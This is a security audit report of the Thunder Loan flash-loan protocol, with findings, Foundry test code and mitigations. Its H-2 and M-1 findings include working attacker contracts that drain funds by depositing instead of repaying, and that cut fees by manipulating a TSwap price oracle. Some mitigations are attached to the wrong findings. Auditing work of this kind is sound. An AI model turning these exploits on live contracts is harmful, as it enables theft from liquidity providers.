Protocol Audit Report

Version 1.0

cosminmarian53

April 29, 2025

Thunder Loan Protocol Audit Report

cosminmarian53

April 29, 2025

Prepared by: cosminmarian53

Table of Contents

- Medium
  - [M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks
  - [M-2] Centralization risk for trusted owners
    * Impact:
    * Contralized owners can brick redemptions by disapproving of a specific token
- Low
  - [L-1] Empty Function Body - Consider commenting why
  - [L-2] Initializers could be front-run
  - [L-3] Missing critial event emissions
- Informational
  - [I-1] Poor Test Coverage
  - [I-2] Not using `__gap[50]` for future storage collision mitigation
  - [I-3] Different decimals may cause confusion. ie: AssetToken has 18, but asset has 6
  - [I-4] Doesn't follow https://eips.ethereum.org/EIPS/eip-3156
  - [I-5] Most functions do not have natspecs, which doesn't follow best coding practices
- Gas
  - [G-1] Using bools for storage incurs overhead
  - [G-2] Using **`private`** rather than **`public`** for constants, saves gas
  - [G-3] Unnecessary SLOAD when logging new exchange rate

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

Disclaimer

The lead auditor, Cosmin, makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:

- USDC
- DAI
- LINK
- WETH

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Auditing this protocol has been an incredible learning experience. Throughout the process, I gained a deeper understanding of oracle manipulation, the risks of storage collisions, and the security implications of centralization. This audit is a valuable addition to my portfolio and a significant milestone in my journey toward becoming a security researcher.

Issues found

Severity	Number of issues found
High	4
Medium	2
Low	3
Info	5
Gas	3
Total	17

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

Description: The `exchangeRate` is responsible for calculating the exchange rate between asset tokens and underlying tokens. It's responsible for keeping track of how many fees to give liquidity providers.

In `ThunderLoan::deposit`, the `exchangeRate` is updated without collecting any fees!

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
     AssetToken assetToken = s_tokenToAssetToken[token];
     uint256 exchangeRate = assetToken.getExchangeRate();
     uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
         ) / exchangeRate;
     emit Deposit(msg.sender, token, amount);
     assetToken.mint(msg.sender, mintAmount);

     // @Audit-High
@>   // uint256 calculatedFee = getCalculatedFee(token, amount);
@>   // assetToken.updateExchangeRate(calculatedFee);

     token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

Impact:

There are several impacts to this bug.

1. The `redeem` function is blocked, because the protocol thinks the amount to be redeemed is more than it's balance.
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than they deserve.

Proof Of Code:

1. LP deposits
2. User takes out a flash loan
3. It is now impossible for LP to redeem

To see how this issue is manifested, add the following test to `ThunderLoanTest.t.sol`:

Proof of Code

```
    function testRedeemAfterLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);


        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
            amountToBorrow, "");
        vm.stopPrank();

        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
        vm.stopPrank();
    }
```

Recommended Mitigation:

Remove the incorrect updateExchangeRate lines from `deposit`

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
     AssetToken assetToken = s_tokenToAssetToken[token];
     uint256 exchangeRate = assetToken.getExchangeRate();
     uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
        ) / exchangeRate;
     emit Deposit(msg.sender, token, amount);
     assetToken.mint(msg.sender, mintAmount);

-    uint256 calculatedFee = getCalculatedFee(token, amount);
-    assetToken.updateExchangeRate(calculatedFee);

     token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

[H-2] By calling a flashloan and then ThunderLoan::deposit instead of ThunderLoan::repay users can steal all funds from the protocol

Description: The `ThunderLoan::flashloan()` performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing endingBalance with `startingBalance + fee`.

However, a vulnerability emerges when calculating `endingBalance` using `token.balanceOf(address(assetToken))`.

Exploiting this vulnerability, an attacker can return the flash loan using the `deposit()` instead of `repay()`. This action allows the attacker to mint AssetToken and subsequently redeem it using `redeem()`. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert.

Impact: All the funds of the AssetContract can be stolen.

Proof of Code:

Add the following test to `ThunderLoanTest.t.sol`:

```
function testDepositInsteadOfRepayToStealFunds() public
    setAllowedToken hasDeposits{
        vm.startPrank(user);
        uint256 amountToBorrow = 50e18;
        uint256 fee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);
        DepositOverRepay dor = new DepositOverRepay(address(thunderLoan
            ));

        tokenA.mint(address(dor), fee);
        thunderLoan.flashloan(
            address(dor),
            tokenA,
            amountToBorrow,
            ""
        );
        dor.redeemMoney();
        vm.stopPrank();

        assert(tokenA.balanceOf(address(dor))> 50e18 +fee);
    }
```

And the following contract:

```
contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;


    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        IERC20(token).approve(address(thunderLoan), amount+fee);
        thunderLoan.deposit(IERC20(token), amount+fee);
        return true;
    }

    function redeemMoney() public {
        uint256 amountToRedeem = assetToken.balanceOf(address(this));
        thunderLoan.redeem(IERC20(s_token), amountToRedeem);
    }
}
```

Note: You can of course, add the attacker contracts to another file, this is a mere suggestion, so do as you see fit.

Recommended Mitigation:

Consider adding a check or a modifier to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in `flashloan()` and checking it in `deposit()`.

[H-3] The fee is less for non-standard ERC20 Token

Description:

Within the functions `ThunderLoan::getCalculatedFee()` and `ThunderLoanUpgraded::getCalculatedFee()`, an issue arises with the calculated fee value when dealing with non-standard ERC20 tokens. Specifically, the calculated value for non-standard tokens appears significantly lower compared to that of standard ERC20 tokens.

`@>` is used to mark the where the issue happens:

```
//ThunderLoan.sol
 function getCalculatedFee(IERC20 token, uint256 amount) public view
    returns (uint256 fee) {
        //slither-disable-next-line divide-before-multiply
@>          uint256 valueOfBorrowedToken = (amount * getPriceInWeth(
    address(token))) / s_feePrecision;
@>         //slither-disable-next-line divide-before-multiply
          fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
      }
```

```
//ThunderLoanUpgraded.sol

 function getCalculatedFee(IERC20 token, uint256 amount) public view
    returns (uint256 fee) {
        //slither-disable-next-line divide-before-multiply
@>         uint256 valueOfBorrowedToken = (amount * getPriceInWeth(
   address(token))) / FEE_PRECISION;
        //slither-disable-next-line divide-before-multiply
@>         fee = (valueOfBorrowedToken * s_flashLoanFee) / FEE_PRECISION
    ;
     }
```

Impact:

Users can get loans with non-standard erc20 tokens much cheaper compared to standard tokens like wETH, for example.

Proof Of Concept:

Let's consider the following convention: - 1wETH = 2000 USDC; Now, lets look at a hypothetical scenario:

1. user1 asks for a flashloan of 1wETH
2. user2 asks for a flashloan of 2000 USDC

```
function getCalculatedFee(IERC20 token, uint256 amount) public view
    returns (uint256 fee) {

        //1 ETH = 1e18 WEI
        //2000 USDC = 2 * 1e6 WEI

        uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address
            (token))) / s_feePrecision;

        // valueOfBorrowedToken ETH = 1e18 * 1e18 / 1e18 WEI
        // valueOfBorrowedToken USDC= 2 * 1e6 * 1e18 / 1e18 WEI

        fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;

        //fee ETH = (1e18 * 3e15 / 1e18) = 3e15 WEI = 0,003 ETH
        //fee USDC:(2 * 1e6 * 3e15) / 1e18 = 6e6 WEI =
            0.000000000000006 ETH.
    }
```

Recommended Mitigation:

Consider using checks for already existing tokens, check for their precision, and update the math accordingly, since there are a lot of tokens that don't have 18 decimals.

[H-4] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`

Description:

`ThunderLoan.sol` has two variables in the following order:

~~~
```javascript
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee; // 0.3% ETH fee
```
~~~

However, the expected upgraded contract `ThunderLoanUpgraded.sol` has them in a different order.

~~~
```javascript
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```
~~~

Due to how Solidity storage works, after the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the positions of storage variables when working with upgradeable contracts. And since the fee precision has been set to a constant, it will not be added to the storage.

Impact:

After upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the `s_currentlyFlashLoaning` mapping will start on the wrong storage slot.

Proof of Concept:

Do the following steps in order to check how the issue happens: 1. Add the following import to `ThunderLoanTest.t.sol`: `solidity import {ThunderLoanUpgraded} from "src/upgradedProtocol/ThunderLoanUpgraded.sol";` 2. Add the following test to `ThunderLoanTest.t.sol`:

```
    function testUpgradeBreaks() public{
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded tl = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(tl), "");
```

```
        uint256 feeAfterUpgrade = thunderLoan.getFee();
        vm.stopPrank();

        console.log("Fee before upgrade: ", feeBeforeUpgrade);
        console.log("Fee after upgrade: ", feeAfterUpgrade);
        assert(feeAfterUpgrade != feeBeforeUpgrade);

    }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage` in the terminal.

Recommended Mitigation:

You shouldn't switch the positions of the storage variables on upgrade. In this case, it would be to leave a blank if you're going to replace a storage variable with a constant. In `ThunderLoanUpgraded.sol`:

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee;
+    uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept: The following all happens in 1 transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
    1. User sells 1000 `tokenA`, tanking the price.
    2. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.

1. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

Add the following imports to the test suite:

```

import {BuffMockTSwap} from "test/mocks/BuffMockTSwap.sol";
import {ERC20Mock} from "../mocks/ERC20Mock.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/
    ERC1967Proxy.sol";
import {BuffMockPoolFactory} from "../mocks/BuffMockPoolFactory.sol";
import {IFlashLoanReceiver} from "src/interfaces/IFlashLoanReceiver.sol
    ";
import {IERC20} from "../../lib/openzeppelin-contracts/contracts/token/
    ERC20/IERC20.sol";
```

The following test:

```

  function testOracleManipulation() public {
        // 1. Set up the initial state
        uint256 startingAmount = 100e18;
        uint256 amountToFundTL = 1000e18;
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
            ;
        // Create a TSwap dex between WETH/TOken A
        address tswapPool = pf.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        // 2. Fund TSwap
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, startingAmount);
        tokenA.approve(address(tswapPool), startingAmount);
        weth.mint(liquidityProvider, startingAmount);
        weth.approve(address(tswapPool), startingAmount);
        BuffMockTSwap(tswapPool).deposit(
            startingAmount,
            startingAmount,
            startingAmount,
            block.timestamp
        );
        //  Ratio 100 WETH/100 Token A
        //  It would be 1:1
        vm.stopPrank();
        // 3. Fund ThunderLoan
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);

        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, amountToFundTL);
        tokenA.approve(address(thunderLoan), amountToFundTL);
        thunderLoan.deposit(tokenA, amountToFundTL);
        vm.stopPrank();
        // At this point we should have:
        //  -100 WETH and 100 TokenA on TSwap
        //  -1000 TokenA in ThunderLoan

        // 4. Take out 2 flash loans to:
        //     a. nuke WETH/token A price on TSwap
        //     b. doing so greatly reduces the fees paid on ThunderLoan
        // Step 1: Take out a flash loan of 50 tokenA

        // Step 2: Swap it on the Dex. This will drastically alter the
            token ratio of the pool.

        // Step 3: Take out _another_ flash loan to illustrate how much
             cheaper the fee is.
        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
            100e18);

        uint256 amountToBorrow = 50e18; //we do this twice

        MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver
            (
            address(tswapPool),
            address(thunderLoan),
            address(thunderLoan.getAssetFromToken(tokenA))
        );

        vm.startPrank(user);
        tokenA.mint(address(flr), 100e18);
        thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "")
            ;
        vm.stopPrank();

        uint256 attackFee = flr.feeOne() + flr.feeTwo(); // this is the
             fee after the attack
        console.log("Normal fee: ", normalFeeCost);
        console.log("Attack fee: ", attackFee);
        assert(attackFee < normalFeeCost);
    }
}
```

And the following attacker contract:

```

contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap tswapPool;
    bool attacked;
    uint256 public feeOne;
    uint256 public feeTwo;

    // 1. Swap TokenA borrowed for WETH
    // 2. Take out a second flash loan to compare fees
    constructor(address _tswapPool, address _thunderLoan, address
        _repayAddress) {
        tswapPool = BuffMockTSwap(_tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        if (!attacked) {
            feeOne = fee;
            attacked = true;
            uint256 wethBought = tswapPool.getOutputAmountBasedOnInput
                (50e18, 100e18, 100e18);
            IERC20(token).approve(address(tswapPool), 50e18);
            // Tanks the price:
            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                wethBought, block.timestamp);
            // Second Flash Loan!
            thunderLoan.flashloan(address(this), IERC20(token), amount,
                "");
            // We repay the flash loan via transfer since the repay
                function won't let us!
            IERC20(token).transfer(address(repayAddress), amount + fee)
                ;
        } else {
            // calculate the fee and repay
            feeTwo = fee;
            // We repay the flash loan via transfer since the repay
                function won't let us!
            IERC20(token).transfer(address(repayAddress), amount + fee)
                ;
        }
        return true;
    }
```

```
}
```

[M-2] Centralization risk for trusted owners

Impact: Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Instances (2):

```
File: src/protocol/ThunderLoan.sol

223:     function setAllowedToken(IERC20 token, bool allowed) external
    onlyOwner returns (AssetToken) {

261:     function _authorizeUpgrade(address newImplementation) internal
     override onlyOwner { }
```

Contralized owners can brick redemptions by disapproving of a specific token **Recommended Mitigation:** Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

Low

[L-1] Empty Function Body - Consider commenting why

Instances (1):

```
File: src/protocol/ThunderLoan.sol

261:     function _authorizeUpgrade(address newImplementation) internal
     override onlyOwner { }
```

[L-2] Initializers could be front-run

Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

Instances (6):

```
File: src/protocol/OracleUpgradeable.sol

```

```
11:     function __Oracle_init(address poolFactoryAddress) internal
    onlyInitializing {
```

```
File: src/protocol/ThunderLoan.sol

138:     function initialize(address tswapAddress) external initializer
     {

138:     function initialize(address tswapAddress) external initializer
     {

139:         __Ownable_init();

140:         __UUPSUpgradeable_init();

141:         __Oracle_init(tswapAddress);
```

[L-3] Missing critial event emissions

Description: When the `ThunderLoan::s_flashLoanFee` is updated, there is no event emitted.

Recommended Mitigation: Emit an event when the `ThunderLoan::s_flashLoanFee` is updated.

```
+     event FlashLoanFeeUpdated(uint256 newFee);
.
.
.
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+       emit FlashLoanFeeUpdated(newFee);
    }
```

Informational

[I-1] Poor Test Coverage

```
Running tests...
| File                                 | % Lines          | % Statements
    | % Branches      | % Funcs          |
| ---------------------------------- | -------------- | --------------
   | ------------- | -------------- |
| src/protocol/AssetToken.sol        | 70.00% (7/10)  | 76.92% (10/13)
   | 50.00% (1/2)  | 66.67% (4/6)   |
| src/protocol/OracleUpgradeable.sol | 100.00% (6/6)  | 100.00% (9/9)
   | 100.00% (0/0) | 80.00% (4/5)   |
| src/protocol/ThunderLoan.sol       | 64.52% (40/62) | 68.35% (54/79)
   | 37.50% (6/16) | 71.43% (10/14) |
```

[I-2] Not using `__gap[50]` for future storage collision mitigation

[I-3] Different decimals may cause confusion. ie: AssetToken has 18, but asset has 6

[I-4] Doesn't follow https://eips.ethereum.org/EIPS/eip-3156

[I-5] Most functions do not have natspecs, which doesn't follow best coding practices

Gas

[G-1] Using bools for storage incurs overhead

Use `uint256(1)` and `uint256(2)` for true/false to avoid a Gwarmaccess (100 gas), and to avoid Gsset (20000 gas) when changing from 'false' to 'true', after having been 'true' in the past. See source.

Instances (1):

```
File: src/protocol/ThunderLoan.sol

98:     mapping(IERC20 token => bool currentlyFlashLoaning) private
   s_currentlyFlashLoaning;
```

[G-2] Using `private` rather than `public` for constants, saves gas

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

Instances (3):

```
File: src/protocol/AssetToken.sol

25:     uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
```

```
File: src/protocol/ThunderLoan.sol

95:     uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee

96:     uint256 public constant FEE_PRECISION = 1e18;
```

Recommended Mitigation: Aim to get test coverage up to over 90% for all files. ### [G-3] Unnecessary SLOAD when logging new exchange rate

In `AssetToken::updateExchangeRate`, after writing the `newExchangeRate` to storage, the function reads the value from storage again to log it in the `ExchangeRateUpdated` event.

To avoid the unnecessary SLOAD, you can log the value of `newExchangeRate`.

```
  s_exchangeRate = newExchangeRate;
- emit ExchangeRateUpdated(s_exchangeRate);
+ emit ExchangeRateUpdated(newExchangeRate);
```